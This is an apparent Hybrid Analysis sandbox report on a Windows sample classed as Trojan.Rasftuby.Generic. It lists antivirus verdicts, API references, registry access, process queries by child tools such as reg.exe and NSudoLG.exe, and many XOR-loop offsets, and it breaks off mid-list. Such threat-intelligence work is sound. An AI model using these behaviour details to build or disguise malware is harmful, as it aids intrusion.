26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 6b:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T4dc,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Trojan.Rasftuby.Generic Sample b2190208634a… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample b2190208634a…. Malware family: Trojan.Rasftuby.Generic. Threat score 100/100. 12/27 AV engines flagged this file. 8 malicious and 10 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85","keywords":["Malicious","Trojan.Rasftuby.Generic","malware analysis","sandbox report","threat intelligence","b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85"],"about":{"@type":"SoftwareApplication","name":"9b94fc2a6191f740ae7400259a618207.exe","applicationCategory":["peexe","executable","compressed","sfx","rar"],"identifier":"b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Trojan.Rasftuby.Generic","antivirusDetections":{"malicious":12,"total":27},"behavioralIndicators":{"malicious":8,"suspicious":10},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T8a6,Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; File: "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; File: "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe") Found reference to API "QueryPerformanceFrequency" (Indicator: "QueryPerformanceFrequency"; File: "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe") Found reference to API "WaitForMultipleObjects error %d, GetLastError %d" (Indicator: "WaitForMultipleObjects"; File: "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe") Found reference to API "KeWaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "00000000-00007276.00000000.194352.013E2000.00000080.mdmp") Found reference to API "ZwWaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "00000000-00007276.00000000.194352.013E2000.00000080.mdmp") Found reference to API "NtQuerySystemInformation" (Indicator: "NtQuerySystemInformation"; Source: "00000000-00001112.00000000.185480.40017000.00000002.mdmp") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00001112.00000000.185480.40017000.00000002.mdmp") Found reference to API "SetTimer" (Indicator: "SetTimer"; Source: "00000000-00001112.00000000.185480.40017000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00002908.00000001.186952.C2012000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00002908.00000001.186952.C2012000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00006436.00000000.187460.64DAF000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00006436.00000000.187460.64DAF000.00000002.mdmp")28:T568,Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; File: "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; File: "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; File: "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; File: "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe") Found reference to API "LoadLibraryShim" (Indicator: "LoadLibrary"; Source: "00000000-00001112.00000000.185480.40017000.00000002.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00001112.00000000.185480.40017000.00000002.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00001112.00000000.185480.40017000.00000002.mdmp") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; Source: "00000000-00001112.00000000.185480.40017000.00000002.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00002908.00000001.186952.C2012000.00000002.mdmp") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00002908.00000001.186952.C2012000.00000002.mdmp")29:T1655,"b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{0482AF6C-08F1-4C34-8C90-E17EC98B1E17}\PROPERTYBAG") "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{BCB5256F-79F6-4CEE-B725-DC34E402FD46}\PROPERTYBAG") "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{724EF170-A42D-4FEF-9F26-B60E846FBA4F}\PROPERTYBAG") "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{4BD8D571-6D19-48D3-BE97-422220080E43}\PROPERTYBAG") "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{4BD8D571-6D19-48D3-BE97-422220080E43}\PROPERTYBAG") "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER") "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{DE61D971-5EBC-4F02-A3A9-6C82895E5C04}\PROPERTYBAG") "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{EDC0FE71-98D8-4F4A-B920-C8DC133CB165}\PROPERTYBAG") "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{0762D272-C50A-4BB0-A382-697DCD729B80}\PROPERTYBAG") "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{4D9F7874-4E0C-4904-967B-40B0D20C3E4B}\PROPERTYBAG") "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{2B20DF75-1EDA-4039-8097-38798227D5B7}\PROPERTYBAG") "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{1AC14E77-02E7-4E5D-B744-2EB1AE5198B7}\PROPERTYBAG") "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{A77F5D77-2E2B-44C3-A6A2-ABA601054A51}\PROPERTYBAG") "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{B2C5E279-7ADD-439F-B28C-C41FE1BBF672}\PROPERTYBAG") "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{AB5FB87B-7CE2-4F83-915D-550846C9537B}\PROPERTYBAG") "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{0AC0837C-BBF8-452A-850D-79D08E667CA7}\PROPERTYBAG") "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{D0384E7D-BAC3-4797-8F14-CBA229B392B5}\PROPERTYBAG") "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{7B0DB17D-9CD2-4A93-9733-46CC89022E7C}\PROPERTYBAG") "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{A3918781-E5F2-4890-B3D9-A7E54332328C}\PROPERTYBAG") "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{AE50C081-EBD2-438A-8655-8A092E34987A}\PROPERTYBAG") "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{B7BEDE81-DF94-4682-A7D8-57A52620B86F}\PROPERTYBAG") "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{3B193882-D3AD-4EAB-965A-69829D1FB59F}\PROPERTYBAG") "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{62AB5D82-FDC1-4DC3-A9DD-070D1D495D97}\PROPERTYBAG") "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{F1B32785-6FBA-4FCF-9D55-7B8E7F157091}\PROPERTYBAG")2a:Tbdf,"b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe" queried SystemProcessInformation at 00000000-00008068-00000C15-1837821737 [PID: 8068] "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe" queried SystemProcessInformation at 00000000-00008068-00000C15-1837831039 [PID: 8068] "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe" queried SystemProcessInformation at 00000000-00008068-00000C15-1838034948 [PID: 8068] "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe" queried SystemProcessInformation at 00000000-00008068-00000C15-1838044032 [PID: 8068] "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe" queried SystemProcessInformation at 00000000-00008068-00000C15-1838420708 [PID: 8068] "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe" queried SystemProcessInformation at 00000000-00008068-00000C15-1838431396 [PID: 8068] "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe" queried SystemProcessInformation at 00000000-00008068-00000C15-1838759624 [PID: 8068] "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe" queried SystemProcessInformation at 00000000-00008068-00000C15-1838768549 [PID: 8068] "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe" queried SystemProcessInformation at 00000000-00008068-00000C15-1840124507 [PID: 8068] "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe" queried SystemProcessInformation at 00000000-00008068-00000C15-1840165269 [PID: 8068] "cmd.exe" queried SystemProcessInformation at 00000000-00000340-00000C15-1840550425 [PID: 340] "cmd.exe" queried SystemProcessInformation at 00000000-00000340-00000C15-1840590052 [PID: 340] "cmd.exe" queried SystemProcessInformation at 00000000-00000340-00000C15-1840935885 [PID: 340] "cmd.exe" queried SystemProcessInformation at 00000000-00000340-00000C15-1840943339 [PID: 340] "nircmd.exe" queried SystemProcessInformation at 00000000-00006460-00000C15-1841690806 [PID: 6460] "nircmd.exe" queried SystemProcessInformation at 00000000-00006460-00000C15-1841710083 [PID: 6460] "reg.exe" queried SystemProcessInformation at 00000000-00007880-00000C15-1847167161 [PID: 7880] "reg.exe" queried SystemProcessInformation at 00000000-00007880-00000C15-1847175244 [PID: 7880] "reg.exe" queried SystemProcessInformation at 00000000-00007880-00000C15-1847380195 [PID: 7880] "reg.exe" queried SystemProcessInformation at 00000000-00007880-00000C15-1847388801 [PID: 7880] "reg.exe" queried SystemProcessInformation at 00000000-00003660-00000C15-1852277538 [PID: 3660] "reg.exe" queried SystemProcessInformation at 00000000-00003660-00000C15-1852286320 [PID: 3660] "reg.exe" queried SystemProcessInformation at 00000000-00003660-00000C15-1852502000 [PID: 3660] "reg.exe" queried SystemProcessInformation at 00000000-00003660-00000C15-1852511126 [PID: 3660] "NSudoLG.exe" queried SystemProcessInformation at 00000000-00008188-00000C15-1857476515 [PID: 8188]2b:T78ef,Found XOR loop in file "mika.exe" at offset 130731; code bytes = 30d0 Found XOR loop in file "mika.exe" at offset 153455; code bytes = 30d0 Found XOR loop in file "mika.exe" at offset 216111; code bytes = 30d0 Found XOR loop in file "mika.exe" at offset 261552; code bytes = 30d0 Found XOR loop in file "mika.exe" at offset 265320; code bytes = 30d0 Found XOR loop in file "mika.exe" at offset 346905; code bytes = 30d0 Found XOR loop in file "mika.exe" at offset 396173; code bytes = 30d0 Found XOR loop in file "mika.exe" at offset 512105; code bytes = 30d0 Found XOR loop in file "mika.exe" at offset 537226; code bytes = 30d0 Found XOR loop in file "mika.exe" at offset 538564; code bytes = 30d0 Found XOR loop in file "mika.exe" at offset 634851; code bytes = 30d0 Found XOR loop in file "mika.exe" at offset 647173; code bytes = 30d0 Found XOR loop in file "mika.exe" at offset 842730; code bytes = 30d0 Found XOR loop in file "mika.exe" at offset 855008; code bytes = 30d0 Found XOR loop in file "mika.exe" at offset 897680; code bytes = 30d0 Found XOR loop in file "mika.exe" at offset 954272; code bytes = 30d0 Found XOR loop in file "mika.exe" at offset 1019880; code bytes = 30d0 Found XOR loop in file "mika.exe" at offset 1069507; code bytes = 30d0 Found XOR loop in file "mika.exe" at offset 1184224; code bytes = 30d0 Found XOR loop in file "mika.exe" at offset 1208128; code bytes = 30d0 Found XOR loop in file "mika.exe" at offset 1397685; code bytes = 30d0 Found XOR loop in file "mika.exe" at offset 1406115; code bytes = 30d0 Found XOR loop in file "mika.exe" at offset 1434554; code bytes = 30d0 Found XOR loop in file "mika.exe" at offset 1799108; code bytes = 30d0 Found XOR loop in file "mika.exe" at offset 1806954; code bytes = 30d0 Found XOR loop in file "mika.exe" at offset 1814575; code bytes = 30d0 Found XOR loop in file "mika.exe" at offset 1883932; code bytes = 30d0 Found XOR loop in file "mika.exe" at offset 1921561; code bytes = 30d0 Found XOR loop in file "mika.exe" at offset 1978487; code bytes = 30d0 Found XOR loop in file "mika.exe" at offset 1995067; code bytes = 30d0 Found XOR loop in file "mika.exe" at offset 2142912; code bytes = 30d0 Found XOR loop in file "mika.exe" at offset 2149009; code bytes = 30d0 Found XOR loop in file "mika.exe" at offset 2164042; code bytes = 30d0 Found XOR loop in file "mika.exe" at offset 2205937; code bytes = 30d0 Found XOR loop in file "mika.exe" at offset 2256197; code bytes = 30d0 Found XOR loop in file "mika.exe" at offset 2278663; code bytes = 30d0 Found XOR loop in file "mika.exe" at offset 2279516; code bytes = 30d0 Found XOR loop in file "mika.exe" at offset 2284154; code bytes = 30d0 Found XOR loop in file "mika.exe" at offset 2351630; code bytes = 30d0 Found XOR loop in file "mika.exe" at offset 2395627; code bytes = 30d0 Found XOR loop in file "mika.exe" at offset 2461672; code bytes = 30d0 Found XOR loop in file "mika.exe" at offset 2575498; code bytes = 30d0 Found XOR loop in file "mika.exe" at offset 2593232; code bytes = 30d0 Found XOR loop in file "mika.exe" at offset 2657534; code bytes = 30d0 Found XOR loop in file "mika.exe" at offset 2679660; code bytes = 30d0 Found XOR loop in file "mika.exe" at offset 2686492; code bytes = 30d0 Found XOR loop in file "mika.exe" at offset 2693412; code bytes = 30d0 Found XOR loop in file "mika.exe" at offset 2750018; code bytes = 30d0 Found XOR loop in file "mika.exe" at offset 2753705; code bytes = 30d0 Found XOR loop in file "mika.exe" at offset 2827156; code bytes = 30d0 Found XOR loop in file "mika.exe" at offset 2848533; code bytes = 30d0 Found XOR loop in file "mika.exe" at offset 2849814; code bytes = 30d0 Found XOR loop in file "mika.exe" at offset 2850726; code bytes = 30d0 Found XOR loop in file "mika.exe" at offset 2927758; code bytes = 30d0 Found XOR loop in file "mika.exe" at offset 169248; code bytes = 33c1 Found XOR loop in file "mika.exe" at offset 199075; code bytes = 33c1 Found XOR loop in file "mika.exe" at offset 209774; code bytes = 33c1 Found XOR loop in file "mika.exe" at offset 292563; code bytes = 33c1 Found XOR loop in file "mika.exe" at offset 340065; code bytes = 33c1 Found XOR loop in file "mika.exe" at offset 358713; code bytes = 33c1 Found XOR loop in file "mika.exe" at offset 460453; code bytes = 33c1 Found XOR loop in file "mika.exe" at offset 491954; code bytes = 33c1 Found XOR loop in file "mika.exe" at offset 538426; code bytes = 33c1 Found XOR loop in file "mika.exe" at offset 705512; code bytes = 33c1 Found XOR loop in file "mika.exe" at offset 824682; code bytes = 33c1 Found XOR loop in file "mika.exe" at offset 859743; code bytes = 33c1 Found XOR loop in file "mika.exe" at offset 1018635; code bytes = 33c1 Found XOR loop in file "mika.exe" at offset 1063811; code bytes = 33c1 Found XOR loop in file "mika.exe" at offset 1069862; code bytes = 33c1 Found XOR loop in file "mika.exe" at offset 1226883; code bytes = 33c1 Found XOR loop in file "mika.exe" at offset 1258580; code bytes = 33c1 Found XOR loop in file "mika.exe" at offset 1266336; code bytes = 33c1 Found XOR loop in file "mika.exe" at offset 1434661; code bytes = 33c1 Found XOR loop in file "mika.exe" at offset 1526130; code bytes = 33c1 Found XOR loop in file "mika.exe" at offset 1536935; code bytes = 33c1 Found XOR loop in file "mika.exe" at offset 1658237; code bytes = 33c1 Found XOR loop in file "mika.exe" at offset 1749730; code bytes = 33c1 Found XOR loop in file "mika.exe" at offset 1751932; code bytes = 33c1 Found XOR loop in file "mika.exe" at offset 1780065; code bytes = 33c1 Found XOR loop in file "mika.exe" at offset 1822465; code bytes = 33c1 Found XOR loop in file "mika.exe" at offset 1909652; code bytes = 33c1 Found XOR loop in file "mika.exe" at offset 1928373; code bytes = 33c1 Found XOR loop in file "mika.exe" at offset 1993597; code bytes = 33c1 Found XOR loop in file "mika.exe" at offset 2156951; code bytes = 33c1 Found XOR loop in file "mika.exe" at offset 2441298; code bytes = 33c1 Found XOR loop in file "mika.exe" at offset 2442840; code bytes = 33c1 Found XOR loop in file "mika.exe" at offset 2553035; code bytes = 33c1 Found XOR loop in file "mika.exe" at offset 2792984; code bytes = 33c1 Found XOR loop in file "mika.exe" at offset 2808935; code bytes = 33c1 Found XOR loop in file "mika.exe" at offset 2881642; code bytes = 33c1 Found XOR loop in file "mika.exe" at offset 93320; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 183167; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 193349; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 233419; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 341727; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 343029; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 343044; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 428677; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 527859; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 578958; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 592773; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 788326; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 966713; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 1058400; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 1093620; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 1126054; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 1212414; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 1278749; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 1284603; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 1284747; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 1284786; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 1284845; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 1284885; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 1354662; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 1402425; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 1408842; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 1423149; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 1715559; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 1743234; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 1783292; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 1911721; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 1990614; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2067828; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2144682; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2159546; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2187144; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2195905; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2221454; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2223412; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2229651; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2251360; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2257199; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2260892; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2260975; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2263117; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2323192; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2358637; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2387893; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2397976; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2399771; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2405883; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2412174; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2431300; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2438294; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2439782; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2445486; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2453364; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2471683; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2480607; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2482115; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2498627; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2531960; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2532212; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2545132; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2545939; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2548120; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2561841; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2575609; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2585766; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2585984; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2589006; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2596612; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2601094; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2604606; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2608062; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2614325; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2655753; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2655875; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2663845; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2667269; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2668082; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2675346; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2687428; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2693178; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2703112; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2708772; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2712833; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2715066; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2735020; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2736206; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2736461; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2741957; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2757233; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2766678; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2780607; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2781288; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2785617; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2839724; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2852318; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2857787; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2875135; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2886983; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2900310; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2907950; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2909759; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2925238; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2925710; code bytes = 8030 Found XOR loop in file "7z.exe" at offset 823441; code bytes = 30d0 Found XOR loop in file "7z.exe" at offset 830553; code bytes = 30d0 Found XOR loop in file "7z.exe" at offset 832615; code bytes = 30d0 Found XOR loop in file "7z.exe" at offset 834573; code bytes = 30d0 Found XOR loop in file "7z.exe" at offset 835263; code bytes = 30d0 Found 